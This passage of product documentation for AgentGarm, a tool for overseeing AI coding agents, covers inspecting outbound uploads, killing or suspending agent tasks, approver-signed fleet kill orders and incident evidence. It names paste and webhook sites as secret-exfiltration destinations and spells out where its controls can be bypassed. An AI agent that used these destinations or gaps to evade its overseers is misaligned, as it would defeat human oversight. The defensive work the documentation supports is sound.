what Block would stop, then block through a canary rollout. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Choose the paste sites, file-sharing sites, webhooks and sites of your own that the fleet's launched agents should not quietly send secrets to, roll the list out in Audit from your policy repository, read Central Lite's replay of what Block would have stopped, and switch to Block through a canary that pauses by itself when machines report trouble. At the end you also know how to handle the tools that refuse AgentGarm's certificate and what to tell the people the list covers. On this page 1.Choose presets and your own sites 2.Start in Audit 3.Read the replay 4.Switch to Block with a canary 5.Handle fallbacks 6.Tell the people covered 1. Choose presets and your own sites In the console, Outbound inspection sits in the Policy group, for owners, admins, security and auditors (never finops or viewer). With nothing listed it offers Choose sites, four steps: what it does, the presets, starting in Audit, and deciding in 7 days. Edit sites does the same on a list that exists. The presets are lists AgentGarm keeps and checks against DNS at every catalog release, each shown with its count and the day it was checked: paste sites, file sharing and webhooks. Your own sites go one per line: an exact name, *. for every subdomain (not the name itself), or :port for another port than 443. The sheet converts a name with other letters to its xn-- form and refuses, as you type, an address, a single label, a public suffix, a model provider's or subscription host and a never-inspected host, in one sentence each; a *. entry on a shared domain such as ngrok-free.app is allowed with a note that it covers every tenant. Outbound inspection is a public beta, with the exit criteria and the feedback route in the single-machine guide. The console's section has Send feedback too: a report of counts, versions and machine reasons only. agents.d/default.yaml: presets and your own sites inspect: presets: [paste_sites, file_sharing, webhooks] # Your own sites: an exact name, *. for every subdomain (not the name itself), :port for # another port than 443. Lowercase A-labels. hosts: [uploads.halden.example, "*.hooks.halden.example", "files.halden.example:8443"] See also Check what agents upload to paste sites and webhooksHave AgentGarm read what launched agents send to paste sites, file sharing and webhooks, record or stop secrets, and fix tools that refuse its certificate. 2. Start in Audit “New sites start in Audit”: requests are sent as before and each machine records what Block would have stopped, so nobody's work is interrupted while you learn what the agents send. Alert sends the request and raises an alert, and Block stops it, both as soon as the change rolls out. A policy in audit mode keeps every site in Audit whatever mode says. Central Lite pulls policy from your git repository and has no drafts, so Copy policy change and preview copies the network.inspect section of agents.d/default.yaml as a diff, with the commit, garm-central policy attest … --write-note and push commands, and its reach (how many policies and machines; agents already running keep their list until restarted). Each task follows the section of its own policy, so give an agent's own policy file the section too if it should inspect. Central Lite's lint gate decides at publication, and the rollout runs as any other: replay, canary, a quarter of the fleet, then every machine. A machine whose agentgarmd is too old for the section keeps its previous bundle, and the preview names it. New sites start in Audit, under network.inspect # New sites start in Audit. mode: audit Attest the commit, publish it and follow the rollout, on the Central Lite host garm-central policy attest --repo policies --source-repo "$PWD/policies" --dir committer --write-note garm-central policy publish garm-central rollout list See also Roll out policy from git with canariesKeep agents.d policies in git and let Central Lite roll each signed commit out to canaries, then the fleet, halting by itself when machines report trouble. 3. Read the replay The editor's preview, and the section once sites are in Audit, say what Block would change, from what Central Lite has. Before Audit it has no record of these connections by site: they are encrypted end to end, and machines upload hosts only as keyed hashes. It counts connections only from recorded days you replay: agentgarmd replay export writes one user's day for one policy on a machine (refused under the non-monitoring profile), and replaying it against the commit or rollout with garm-central policy replay or rollout replay lets Central Lite count its connections per listed site, shown as “uploaded node-days”. It keeps those counts per recorded day and site for 90 days, never the day itself, so the same day replayed twice counts once; an export names neither machine nor user, so the machines it shows are recorded days. Which requests carry secrets can't be known before Audit, and the preview says so. After Audit (7 days is the suggestion), the machines' ten-minute counts, the findings Block would have stopped and the tools that refused the certificate show per site, “on at least N machines”, with Switch to Block with a canary and Stay in Audit. The site table shows each site's mode, requests over 7 days with a trend, secrets, requests sent uninspected and the top agent; sites no policy lists any more stay as “No longer listed” while they have activity. Export a user's day, on an enrolled machine sudo agentgarmd replay export --policy default --uid 1000 --day 2026-11-10 --out default-day.jsonl Replay the day against the next commit, on the Central Lite host garm-central policy replay --commit --events default=default-day.jsonl --home /home/alice 4. Switch to Block with a canary Switch to Block with a canary opens the editor in Block; or set one site's mode under per_host, as here. The policy needs mode: enforce. Commit, attest and publish: the rollout reaches your canaries first, and besides its usual checks, four of outbound inspection's pause it by themselves, over the machines it reached: handshakes refused by a tool at 1 % or more of connections (judged from 100), any machine whose web CA is not ready, 5 or more stops per machine-day, and an added latency p99 of 8 ms or more. garm-central rollout config sets each threshold for new rollouts. Two limits of the beta: what a machine reports as connections is requests inspected plus refused handshakes, so the 1 % is of requests and looser than a share of connections, and one request with several stopped findings counts more than once; and machines do not measure the added latency yet (they report 0), so that check cannot pause a rollout today. A paused rollout resumes, or rolls back, as in the policy rollout guide. Block on one site, under network.inspect per_host: # Block on one site first, through a canary. paste.rs: mode: block Set outbound inspection's rollout checks to their defaults, on the Central Lite host garm-central rollout config --inspect-refused-basis-points 100 --inspect-ca-not-ready-max 0 --inspect-stopped-per-day 5 --inspect-latency-p99-us 8000 Resume a paused rollout garm-central rollout resume 5. Handle fallbacks Above the site table the section pins the decisions it needs from you. “A tool refuses AgentGarm's certificate on N machines”: in Audit and Alert those requests were sent uninspected, in Block they are stopped. Exempt this site opens the editor with the site under exempt (one of your own sites is taken off the list instead), Keep stopping hides the row until more machines refuse, and See the machines counts them: Central Lite keeps host names and executables as keyed hashes, so the machine's own dashboard names the tool. A tool can often be made to trust the certificate (each runtime, Java, Go on macOS). “A site asks for a client certificate”: inspection can't present one, so those requests go as a plain tunnel and are recorded; on_uninspectable: refuse refuses them instead. An approved exception is ignore_rules: that rule's findings on that site are recorded as expected. Under Exceptions and advanced the editor also sets WebSockets on listed sites (passed through uninspected and said so, or refused) and uploads over 8 MB (inspected as they stream, or refused in Block). A client-certificate site, an exception and exempt sites, the section continued # This site asks for a client certificate: refuse it rather than tunnel it. "files.halden.example:8443": on_uninspectable: refuse # An approved exception: this rule's findings here are recorded as expected. uploads.halden.example: ignore_rules: [aws_access_key_id] # Tools that pin their own certificates: never terminated, reported as exempt. exempt: [api.gofile.io] websocket: relay large_bodies: stream record_path: findings_only 6. Tell the people covered The first-run sheet asks whether you've told the people whose agents this covers; it is not required. The works-council pack states what inspection reads, keeps, sends and for how long: requests' paths, queries and bodies are read in memory on the machine, never responses or headers; a finding keeps the site, the rule, a count, where and what was done; the redacted path stays on the machine and never leaves it, not even as a hash; Central Lite receives findings, uninspected records, alerts and ten-minute counts per site, with the site as a keyed hash; findings are kept as security records and counts as operational ones. Under the non-monitoring profile no path is kept at all, on the machine included; findings and alerts reach Central Lite without the site, and the counts per listed entry as you wrote it (*.hooks.halden.example), with no task or person. Write the pack into a new directory, on a machine agentgarm compliance pack --out works-council-pack See also Prepare a works-council or DPIA packGenerate templates that describe what your deployment collects, keeps and sends, and switch the fleet to the non-monitoring profile during talks. Next guide: Stop an agent task on any machinepreviewAll how-to guides # Stop an agent task on any machine URL: https://agentgarm.com/docs/how-to/kill-switch Docs › How-to guides › Stop an agent task on any machine Guide 54 of 61 · Running a fleet with Central Lite Stop an agent task on any machine Kill or suspend one agent task from the Central Lite host, check that the node applied it, and revoke a machine you no longer trust. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Find the machine in Central Lite's inventory and the task's id on the machine, queue a kill (or a suspend you can resume) from the Central Lite host, and check that the node applied it: the task is denied every decision and its processes are killed or stopped. Then, if the machine itself is no longer trusted, revoke it. On this page 1.Find the machine 2.Read the task's id on the machine 3.Queue the kill 4.Suspend a task instead, and resume it 5.Know what the node and the user see 6.Check that the kill landed 7.Revoke the machine if you no longer trust it 1. Find the machine Every kill names a node by its host id, a UUID. In the console, open Inventory: the Nodes table, first on the page, lists each node with its Host, State (enrolled or revoked; a node that left shows as revoked) and Last report, and its Host id from the table's Columns menu (the first 8 characters; the whole id on hover). On the Central Lite host, garm-central node list prints host id, hostname, state (enrolled, revoked or left) and last report. garm-central node show HOST shows one node in full, including open cmds, the commands Central Lite sent that the node has not acknowledged yet. A node that left Central Lite cannot be sent a kill. List the nodes, on the Central Lite host garm-central node list Show one node, on the Central Lite host garm-central node show HOST Checked by the walk: this command ran as written on a Central Lite host. The console's Inventory: each machine with its state and actions, then the fleet's figuresSee also Enrol developer machinesEnrol a machine in Central Lite with a one-time token that pins Central Lite's key, see it report in the inventory, and let its users enrol presence keys. 2. Read the task's id on the machine Central Lite does not list a node's live tasks, so the task id comes from the machine. There, agentgarm status --json lists each live task under tasks with its full task_id, its agent and its assurance; run as root it shows every user's tasks, and run as a user only that user's. The plain output shows only the last twelve characters of each id, and a kill needs the whole UUID: Central Lite refuses anything else. List every live task with its full id, on the machine sudo agentgarm status --json Checked by the walk: this command ran as written on a Linux node enrolled in Central Lite. See also Trace what one agent task didFind an agent's task in the dashboard, read every decision its policy made with the rule behind it, and follow the run from first decision to last. 3. Queue the kill On the Central Lite host, garm-central node kill queues a kill of one task on one node and prints kill with the command's id, then queued for task with the task and the host. The reason goes to the node and into both audit logs; without --reason it is killed by an admin. The action is chained in Central Lite's audit log as KILL_QUEUED, with the operating-system account that ran it. The console has no single-task kill: it is a host command only. A kill targets one task. To stop every task on a machine, or agents across many, request a kill order instead, which several approvers sign and each node checks (Stop agents across a fleet). Central Lite never sends a kill of every task on a node (all_tasks), and a node refuses one if it arrives. While serve runs, the kill goes to a connected node within a second. It is sent again until the node acknowledges it, so a node that is offline gets it when it reconnects, if the task is still running. Kill one task, on the Central Lite host garm-central node kill HOST --task TASK_ID --reason "runaway agent" 4. Suspend a task instead, and resume it When you want the task stopped but not ended, garm-central node suspend queues a suspend of one task on one node and prints suspend … queued for task … on …; without --reason the reason is suspended by an admin. The node stops the task under a hold of its own, command: and the task id, which agentgarm status lists under the task. garm-central node resume removes that hold, and only that one: a budget breach's or a kill order's hold stays, and the task runs again once none is left. Root on the machine can also remove it with sudo agentgarm task resume. Central Lite refuses a suspend for a node whose agentgarmd is too old to know one, since such a node would end the task instead. A suspend counts toward the node's 10 commands an hour, as a kill does. Resume is not built on Windows yet: a task suspended there stays suspended until it is killed. Suspend one task, then resume it, on the Central Lite host garm-central node suspend HOST --task TASK_ID --reason "paused for review" garm-central node resume HOST --task TASK_ID See also Find out why your agent stoppedTell whether your agent was suspended, killed, locked out by a kill order or stopped by its budget, get your work back, and find out who can lift it. 5. Know what the node and the user see The node marks the task suspended first, so every later decision for it is denied with this task is suspended. Then it kills the task's processes: where the task has its own cgroup (Linux) or Job Object (Windows), every process in it is killed, subagents included; otherwise agentgarmd sends SIGKILL to the task's root process and its MCP servers' process groups, and on macOS to the processes Endpoint Security tracked in its tree. For the user, the agent stops mid-task. The mode is fail_closed, enforced by the cgroup or the signal, not by hooks. If the kill itself fails, the task stays suspended: every decision it asks for is denied, which in a hooks-only session is advisory. Every kill, applied or refused, is chained in the machine's own audit log with the task and the reason; an applied kill is alerted on that task, a refusal as a host alert. A node refuses a task that is not live there, and more than 10 kills from Central Lite in an hour. A single-task kill, suspend or resume is not signed by anyone: the node takes it from the Central Lite it trusts over its pinned mutual-TLS channel, and the hourly cap bounds what that channel can do, so whoever controls Central Lite's host can queue one. A kill order is different: it carries its approvers' signatures, which every node checks itself. 6. Check that the kill landed Once the node acknowledges the kill, garm-central node show HOST no longer counts it under open cmds. A refusal raises a command_refused alert in Central Lite, with the node's reason: for example, no live task has this id on this node, or more than 10 kills within an hour. garm-central alerts list shows unacknowledged alerts, newest first, and alerts ack acknowledges one, chained. Read Central Lite's alerts, on the Central Lite host garm-central alerts list Checked by the walk: this command ran as written on a Central Lite host. 7. Revoke the machine if you no longer trust it Revoking a node revokes every certificate it holds and issues the next revocation list naming them. Every Central Lite service refuses those certificates at once, and the node's control stream ends. garm-central node revoke prints how many certificates were revoked and the list's number. In the console, choose Revoke in the node's row: its sheet asks “Why revoke …? (chained)”, and “Revoke with a passkey” asks for a fresh passkey assertion for this one action. Revoking stops no running task. Kill the task first: once the node is revoked it accepts no command from Central Lite, kills included, and uploads nothing until it is enrolled again, though it keeps every unsent event. Revoke a node, on the Central Lite host garm-central node revoke HOST --reason "machine compromised" Next guide: Stop agents across a fleetpreviewAll how-to guides # Stop agents across a fleet URL: https://agentgarm.com/docs/how-to/fleet-kill Docs › How-to guides › Stop agents across a fleet Guide 55 of 61 · Running a fleet with Central Lite Stop agents across a fleet Suspend, terminate or lock down agents on one machine, one agent, one person or the whole fleet, with an order two approver keys sign and each node checks. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Know what a kill order stops and what it leaves running, set up the approver keys before an incident, rehearse on one test machine, request an order and read what it reaches, approve it with two keys, read each node's answer, lift it, and stop agents by hand when Central Lite is down. On this page 1.Know what an order does and doesn't 2.Set up approvers before you need them 3.Rehearse on one test machine 4.Request an order and read what it reaches 5.Approve it with two keys 6.Read each node's answer 7.Lift it 8.Stop or lift by hand when Central Lite is down 1. Know what an order does and doesn't A kill order names a scope: one machine (host: and its host id), a list of them (hosts:, up to 4,096 ids, 1,024 in the console), one agent (agent: and its id, such as agent:claude-code), one person by the pseudonym nodes upload (principal:kh1: and its hash), or fleet. Its action is suspend (the tasks are stopped and denied every decision until a lift), terminate (suspended, then killed), or lockdown (every governed task in scope is terminated and no governed agent may start or act on that machine until the order is lifted). A suspend or terminate also refuses new tasks in its scope until the order expires, at most 24 hours after it was requested. One task on one machine is not an order: use the single-task kill. Each node verifies the order itself before it acts: the approvers' signatures against the org root metadata it trusts, the window, and that it has not seen the order before. How firmly it stops a task depends on the platform: A on Linux for a task launched with agentgarm run and its own cgroup; B on macOS with the Endpoint Security client, where a process of the same user can wake a stopped process until the next sweep; C on macOS without it, and for hooks-only sessions (every decision is denied, and the editor is never signalled). On Windows, suspend and terminate through the task's Job Object are built, not yet run on Windows hardware; resume and lift there come later. A no-root install takes no kill order, from Central Lite or carried by hand: it holds no org root to verify one against. An order does not stop CI jobs, your users' browsers, edge connectors or any process outside a governed task, and a principal: order cannot find a machine on the non-monitoring profile. Under Central Lite's 1-of-1 software root, whoever controls Central Lite's host can add an approver and so issue an order alone; only an offline root of two or more keys stops that, and no production one exists yet. See also Stop an agent task on any machineKill or suspend one agent task from the Central Lite host, check that the node applied it, and revoke a machine you no longer trust. 2. Set up approvers before you need them Orders are approved by the remote approver keys listed in your org root metadata, the set CI approvals use, never by an admin's sign-in passkey, which Central Lite refuses as an approver. Write the approvers file as the CI approvals guide shows, with at least two keys, and sign it in with garm-central root lite --approvers; garm-central approver list shows each with active or revoked. Do this before an incident: Central Lite counts a key only 24 hours after it joined the set, a rule nodes cannot check but Central Lite always applies. How many keys an order needs comes from the root metadata's threshold: 2 for one machine and 2 for anything wider unless you set it. --kill-threshold-wide (2 to 16) and --kill-threshold-host (1 to the wide value, 1 only with a single approver key) on garm-central root lite set it; left out, the installed value is kept. A request is refused while fewer keys than that count. Keep the keys with different people, on security keys or passkeys that ask for a fingerprint or PIN: each approval needs user presence and user verification. Central Lite records which admin holds each key, at its first answer in the console or with garm-central approver hold, and refuses that key from anyone else's session. When your identity provider deprovisions a holder, Central Lite stops counting their keys at once, and the request's count of usable keys drops with it; it revokes a key still suspended after 7 days, or at once when the holder is deleted, unless that would leave fewer keys than the threshold (who holds each approver key). Until it is revoked, a machine still accepts the key. Sign the approver set into the root metadata, on the Central Lite host garm-central root lite --approvers approvers.json garm-central approver list Checked by the walk: this command ran as written on a Central Lite host, and the output showed active. See also Approve a CI job's risky step from your laptopMark the commands a CI job may wait on a person for, and approve the job's request from the console with your passkey, for exactly that call, once. 3. Rehearse on one test machine Before you need it for real, go through the steps below once with a host: order and the suspend action, against one machine you can spare, with a short wait. Find its host id with garm-central node list. Start an agent there with agentgarm run first, so you see it stop, and lift the order at the end. A suspend of one machine leaves every other machine alone, and the lift lets the stopped task carry on. Write the reason for the people whose agents stop: it is shown on every machine in scope, so say what is happening and never name a person. garm-central kill list shows every order and lift, newest first, with its state. Find the test machine's host id, on the Central Lite host garm-central node list List the orders and lifts, on the Central Lite host garm-central kill list Checked by the walk: this command ran as written on a Central Lite host. 4. Request an order and read what it reaches On the Central Lite host, garm-central kill request prints kill order … requested with its action, its scope and how many approvals it needs by when, then what it reaches as Central Lite last heard of the fleet: reaches: N node(s) for a host, host-list or principal: scope, or reaches: every enrolled node … for fleet or an agent (with any node that subscribes before it lapses), too old for nodes whose agentgarmd cannot apply an order, not covered for CI nodes, and the non-monitoring nodes a principal: scope cannot find. Under a software root it says so, and it ends with the command each approver runs. The sample sets TEST_MACHINE to the hostname garm-central node list shows for the machine you can spare and takes its host id from there; a name that matches no node leaves the scope empty, and the request is refused. --expires-in sets the window (default 1 hour, at most 24). --required M asks for more approvals than the threshold, never fewer. In the console, open Kill orders, fill in the scope, the action, the reason and the wait, and choose “Show what it reaches”: “Request with a passkey” stays disabled until it has shown the radius for the scope as typed, and while too few approver keys count. The request asks for a fresh passkey assertion over exactly what you typed. Either way the request is chained and raises a kill_order_pending alert; it waits for approvals until its window ends, and garm-central kill cancel or “Cancel with a passkey” withdraws it before then. In the console, requesting, cancelling and asking for a lift need the security or owner role. One bound to a host group may request a host: or hosts: order for machines in its group; an order for the fleet, an agent or a person needs the role for the whole org (who may request a kill order). garm-central on the host is outside roles. Request a suspend of one machine, on the Central Lite host TEST_MACHINE=${TEST_MACHINE:?set it to the hostname garm-central node list shows for the test machine} HOST_ID=$(garm-central node list | awk -v name="$TEST_MACHINE" '$2 == name { print $1; exit }') garm-central kill request --scope "host:$HOST_ID" --action suspend --reason "suspected credential leak: agents paused for review" --expires-in 30m Lock down every machine, on the Central Lite host garm-central kill request --scope fleet --action lockdown --reason "incident response: governed agents stopped fleet-wide" Checked by the walk: this command ran as written on a Central Lite host, and the output showed requested. The console's Kill orders: a request with the blast radius it reaches, then each node's answer to an issued order 5. Approve it with two keys Each approver signs the order's digest, not the page's text. In the console, open the order: it recomputes the digest from the order's own fields and checks that the challenge Central Lite sent is that order's, then shows digest checked and enables “Approve with an approver key”. If either check fails it says “Don't sign it”. A Central Lite that was broken into could show one order and ask for a signature over another, so the console's own check is only as good as the console. The check that does not trust Central Lite: download the order (“Download the order file”, or garm-central kill export), run garm-central kill show --verify on a machine Central Lite does not control, which prints the order and recomputes its digest, and sign with fido2-assert using the input garm-central kill challenge prints. Each approver keeps their credential id, as the approver set lists it, in a file (alice.credential), and sets FIDO_DEVICE to their key as fido2-token -L lists it; ORDER is the pending order garm-central kill list shows. Then garm-central kill approve answers approval counted: 1 of 2, and the second key order … issued: 2 of 2 …; queued for N node(s). Each key counts once. Once issued, the order goes to every subscribed node in scope within about a second, and to a node in a fleet or agent scope that connects later, until it expires. Check the order offline, where Central Lite can't change it ORDER=$(garm-central kill list | awk '$2 == "kill" && $4 == "pending" { print $1; exit }') garm-central kill export "$ORDER" --out order.json garm-central kill show --verify order.json garm-central kill challenge "$ORDER" The first approver signs with their security key ORDER=$(garm-central kill list | awk '$2 == "kill" && $4 == "pending" { print $1; exit }') garm-central kill challenge "$ORDER" --credential "$(cat alice.credential)" > assert.in fido2-assert -G -p -v -i assert.in -o assert.out "$FIDO_DEVICE" garm-central kill approve "$ORDER" --assertion assert.out The second approver signs with theirs ORDER=$(garm-central kill list | awk '$2 == "kill" && $4 == "pending" { print $1; exit }') garm-central kill challenge "$ORDER" --credential "$(cat bob.credential)" > assert.in fido2-assert -G -p -v -i assert.in -o assert.out "$FIDO_DEVICE" garm-central kill approve "$ORDER" --assertion assert.out Checked by the walk: these commands ran as written on a Central Lite host, and the output showed approval counted: 1 of 2 and issued: 2 of 2. 6. Read each node's answer garm-central kill status shows the order, its window and its approvals, then nodes: with a count of each answer and a line per node with its detail. A node answers applied (with how many tasks it stopped), partial (some tasks in scope could not be stopped), refused (its own check failed: the order is not applied there, its agents keep running, and the refusal is alerted at once), root_behind (its root metadata is older than the order needs; Central Lite sends the root and then the order again), failed or lifted_locally. A node that has not answered stays queued, and gets the order when it next connects, until the order expires. Nodes too old to apply an order were counted in the request and are never sent one. The console's order view shows the same answers, with each node's task counts. After a restore, the console's “Orders only nodes know” card lists orders nodes report in force that Central Lite has no record of; lift each with garm-central kill lift (see Back up and restore Central Lite). An order that matches nothing on a node is applied with no tasks and stays in force there for later launches. On the machine, agentgarm status shows each order in force, a lockdown first: LOCKDOWN, “this machine is locked down: no governed agent starts or acts”, or a kill order line, then the order, its scope, who approved it, the root's custody and its reason. Show what each node did, on the Central Lite host garm-central kill status ORDER See the orders in force, on a machine agentgarm status Checked by the walk: this command ran as written on a Linux node enrolled in Central Lite, and the output showed kill order. See also Find out why your agent stoppedTell whether your agent was suspended, killed, locked out by a kill order or stopped by its budget, get your work back, and find out who can lift it. 7. Lift it A lift is approved like an order, at the order's own threshold. garm-central kill lift prints lift … of order … requested: 2 approval(s) needed; the approvers sign the lift's id, as in the approval step, taking it from garm-central kill list (the pending lift): the first answers approval counted: 1 of 2, the second issued: 2 of 2. In the console, “Request a lift with a passkey” on an issued order does the same. Once issued, the lift goes to every node the order reached. A suspended task runs again only when no other hold is left on it, such as a budget breach. A terminated task stays ended: its user gets their work back from the checkpoint taken at launch, with rollback. A lockdown ends only with its lift, while a suspend or terminate stops refusing new tasks once its window ends, though the tasks it suspended stay suspended until the lift. Request a lift, on the Central Lite host ORDER=$(garm-central kill list | awk '$2 == "kill" && $4 == "issued" { print $1; exit }') garm-central kill lift "$ORDER" --reason "review finished: agents may resume" Each approver signs the lift, as they signed the order LIFT=$(garm-central kill list | awk '$2 == "lift" && $4 == "pending" { print $1; exit }') garm-central kill challenge "$LIFT" --credential "$(cat alice.credential)" > assert.in fido2-assert -G -p -v -i assert.in -o assert.out "$FIDO_DEVICE" garm-central kill approve "$LIFT" --assertion assert.out The second approver signs the lift LIFT=$(garm-central kill list | awk '$2 == "lift" && $4 == "pending" { print $1; exit }') garm-central kill challenge "$LIFT" --credential "$(cat bob.credential)" > assert.in fido2-assert -G -p -v -i assert.in -o assert.out "$FIDO_DEVICE" garm-central kill approve "$LIFT" --assertion assert.out Checked by the walk: these commands ran as written on a Central Lite host, and the output showed 2 approval(s) needed, approval counted: 1 of 2 and issued: 2 of 2. 8. Stop or lift by hand when Central Lite is down A node Central Lite cannot reach takes an issued order by hand: write it with garm-central kill export (or “Download the order file”), carry the file to the machine and run sudo agentgarm kill-order apply there, from outside every governed task. agentgarmd checks it exactly as one from Central Lite and answers order … applied with the tasks found and stopped (exit 0), or order … refused: and why (exit 1). A lift file is applied the same way. It needs an enrolled machine; a no-root install takes no order, even carried by hand. When the approver keys or Central Lite itself are lost, root on the machine can lift an order in force there: sudo agentgarm kill-order lift with a reason. It is recorded in the machine's audit chain, alerted to Central Lite on the next connection and shown there as lifted_locally. Both commands are not built on Windows yet: they refuse there until a later release. Apply an order carried by hand, on the machine sudo agentgarm kill-order apply order.json Lift an order on this machine as root sudo agentgarm kill-order lift ORDER --reason "Central Lite unreachable: lifted on the machine" Next guide: Investigate a task across the fleetpreviewAll how-to guides # Investigate a task across the fleet URL: https://agentgarm.com/docs/how-to/fleet-incident Docs › How-to guides › Investigate a task across the fleet Guide 56 of 61 · Running a fleet with Central Lite Investigate a task across the fleet Read a task's timeline in Central Lite with its gaps, export a bundle the org root's evidence key signs, verify it offline and hold its records. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Open a task's timeline on the Central Lite host, read what is missing and why, export Central Lite's evidence bundle with the legal hold it places, verify it offline against the org root, compare it with the machine's own bundle, and release the hold when the case is closed. On this page 1.Open the task's timeline 2.Read its gaps 3.Export Central Lite's bundle, with its hold 4.Verify it offline against the org root 5.Compare it with the machine's own bundle 6.Release the hold when the case closes 1. Open the task's timeline On the Central Lite host, garm-central incident timeline prints task …: N item(s) from M node(s), then one line per item, oldest first: its time, its kind, the node (or central), its sequence number and what it was. Items are the events the machines uploaded for the task, Central Lite's own admin actions naming it (its kill, the kill orders whose node reports list it, their lifts and its legal holds) and each machine's last reported chain head, flagged when its key is not one Central Lite pinned. --json prints the same as JSON. It shows metadata only: prompt bodies stay on the machines. At most 100,000 events are read. In the console, open Incidents, enter the task id and choose “Show the timeline”: a table of When, Kind (node event, Central action or chain head), Node, Seq and What, oldest first, then the gaps. The task id comes from the machine (agentgarm status --json). Show a task's timeline, on the Central Lite host garm-central incident timeline --task TASK_ID The console's Incidents: a task's timeline, oldest first, its gaps, and the evidence exportSee also Trace what one agent task didFind an agent's task in the dashboard, read every decision its policy made with the rule behind it, and follow the run from first decision to last. 2. Read its gaps What Central Lite knows it lacks is shown, never hidden: each gap is a line gap: node … class … records … to …: and its reason, such as shed by the node (a machine dropped low-priority records it could not upload) or lost in a restore (Central Lite was restored from a backup older than those records). Records a machine has not uploaded yet, or that retention already deleted, are not there either. A gap is not proof of tampering, and no gap is not proof of completeness: Central Lite holds what the machines sent it. For the machine's own record of the task, export its bundle there. See also Export evidence for one taskWrite one task's signed evidence bundle on its machine, verify it with the node's key, hold its records, and hand it to someone else to check. 3. Export Central Lite's bundle, with its hold garm-central incident export writes the task's bundle to a new 0600 file: the stored events and their OCSF 1.9.0 projection, the timeline, each machine's chain head with the key Central Lite pinned, the gaps, and Central Lite's own chain run over its admin actions naming the task (other records as stubs) to a head signed now. The manifest is signed by the org root's evidence key; an org whose root predates that key gets it with the next garm-central root lite, and the export is refused until then. It prints evidence bundle of task … written to … with the SHA-256 and the counts, then legal hold … placed on task … (or that one already stands), and the command that verifies it. The hold is placed and the export chained only once the file is written. --no-hold places none, and is refused while a kill order covering the task is in force. In the console, under the timeline, “Export evidence with a passkey” does the same after a fresh passkey assertion over the task and your hold choice (“Place no legal hold” is offered), saves it as evidence-.tar, and confirms its SHA-256 and the hold. The export is chained with your name. A bundle too large for the console is refused before anything is recorded: export it on the host. Export Central Lite's bundle of a task, on the Central Lite host garm-central incident export --task TASK_ID --out central-evidence.tar 4. Verify it offline against the org root A Central Lite bundle is checked against the org root, not against anything in the bundle: agentgarm audit verify-bundle with --root, the org root metadata, and --root-fingerprint, the root key's fingerprint. On the Central Lite host, garm-central root export --out ROOT.json writes the installed metadata to a new file and prints both as --root ROOT.json --root-fingerprint HEX. Check the fingerprint against the one your enrolment tokens carry or your ceremony record, never against the file alone, and not against whoever hands you the bundle. The root is judged as of the bundle's own time; its evidence key checks the manifest and its audit_head key Central Lite's chain, and each machine's chain head is checked under the key Central Lite pinned. A valid bundle proves Central Lite held exactly these records and signed them, not that a Central Lite someone broke into told the truth. Under Lite's 1-of-1 software root, whoever controls its host holds the evidence key too. Write the org root metadata and print its fingerprint, on the Central Lite host garm-central root export --out ROOT.json Verify Central Lite's bundle against the org root agentgarm audit verify-bundle central-evidence.tar --root ROOT.json --root-fingerprint HEX 5. Compare it with the machine's own bundle When you can reach the machine, export the task there too. Its bundle is signed by the machine's own node key and carries the chain run itself, with the task's own records in clear, so it does not depend on Central Lite. The two should agree: the events in Central Lite's bundle are the ones the machine uploaded, and the chain head it reported is the machine's. Where they differ, the machine's bundle, checked against a key read on the machine, is the stronger evidence. See also Export evidence for one taskWrite one task's signed evidence bundle on its machine, verify it with the node's key, hold its records, and hand it to someone else to check. 6. Release the hold when the case closes The export's task: hold keeps the task's records past retention, in Central Lite and on every enrolled machine, until M distinct admins release it, as the retention guide shows: garm-central legal-hold list shows the holds that stand, and garm-central legal-hold release opens a release request each admin approves with a passkey. List the holds that stand, on the Central Lite host garm-central legal-hold list Open the hold's release, on the Central Lite host garm-central legal-hold release HOLD_ID --reason "case closed" Checked by the walk: this command ran as written on a Central Lite host. See also Set retention, legal holds and data-subject requestsSet how long Central Lite keeps each class of record, put a legal hold on the records a case needs, and answer a person's access or erasure request. Next guide: Give every agent an owner and an identitypreviewAll how-to guides # Give every agent an owner and an identity URL: https://agentgarm.com/docs/how-to/agent-identities Docs › How-to guides › Give every agent an owner and an identity Guide 57 of 61 · Running a fleet with Central Lite Give every agent an owner and an identity Register each person and agent in Central Lite's identity registry, issue and revoke gateway keys, and see which identity every task belongs to. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Add a principal for each person in Central Lite's identity registry, bind their login names to it, give each agent its own identity with a human sponsor, issue and revoke gateway keys, and see on each machine and in Central Lite which identity every task, model call and delegation belongs to. On this page 1.Add a principal for each person and agent 2.Bind each login name to its principal 3.Give the agent an identity and a sponsor 4.Issue a gateway key 5.Revoke a credential or retire a principal 6.Check what each machine holds 7.Read the delegations and export the inventory 8.List principals in a machine's own policy 1. Add a principal for each person and agent A principal is who work is attributed to: a human, a service or an agent. On the Central Lite host, garm-central identity principal add adds one, active, and prints its id, a UUID that every later command takes; garm-central identity show lists them all. --issuer and --subject name the person's identity at your identity provider; only a principal with one can delegate to an agent through an assertion, and one external identity names at most one principal. Every change publishes the next version of the identity registry, signed by the org's policy key, valid 30 days and re-published by serve before half of that is left. That key is online on Central Lite's host, so whoever controls that host can change who is who. In the console, Identity shows the same registry, read-only: changes are made with garm-central identity. People can instead come from your identity provider through SCIM: each user it sends becomes a human principal with their identity at the provider and, if you choose, a login name bound on every machine, so you add only agents and services by hand (Provision and remove people with SCIM). Seeing people in the console needs a role allowed to: viewer and finops are not. Add a person and an agent principal, on the Central Lite host garm-central identity principal add --kind human --name alice --issuer https://idp.example.com --subject alice garm-central identity principal add --kind agent --name "Claude Code for alice" garm-central identity show Checked by the walk: this command ran as written on a Central Lite host. 2. Bind each login name to its principal A machine learns whose a task is from its local account. garm-central identity bind binds a login name to a principal on every host of the org, or with --host on one host by its host id; on that host, a binding for it wins over one for every host. identity unbind takes the same flags. For an account no binding names, agentgarm identity says “bound to no principal (its work is unattributed)”. Bind the login name alice on every host, on the Central Lite host garm-central identity bind --principal --username alice 3. Give the agent an identity and a sponsor garm-central identity agent add gives an agent principal an agent identity: the agent kind it is for (an adapter name such as claude-code or codex), optionally a version and a policy name, and one to sixteen human sponsors, each --sponsor a principal id; add :owner to mark the owner. The human is accountable; the agent has an identity of its own. When a task of that agent kind starts for an account bound to a sponsor, agentgarmd runs it as the active agent identity, set from the registry and never taken from the agent. The task's events and spend are then the agent principal's, and its sponsor is on record. identity agent state suspends or retires it; a retired identity stays retired. Sponsor the agent, 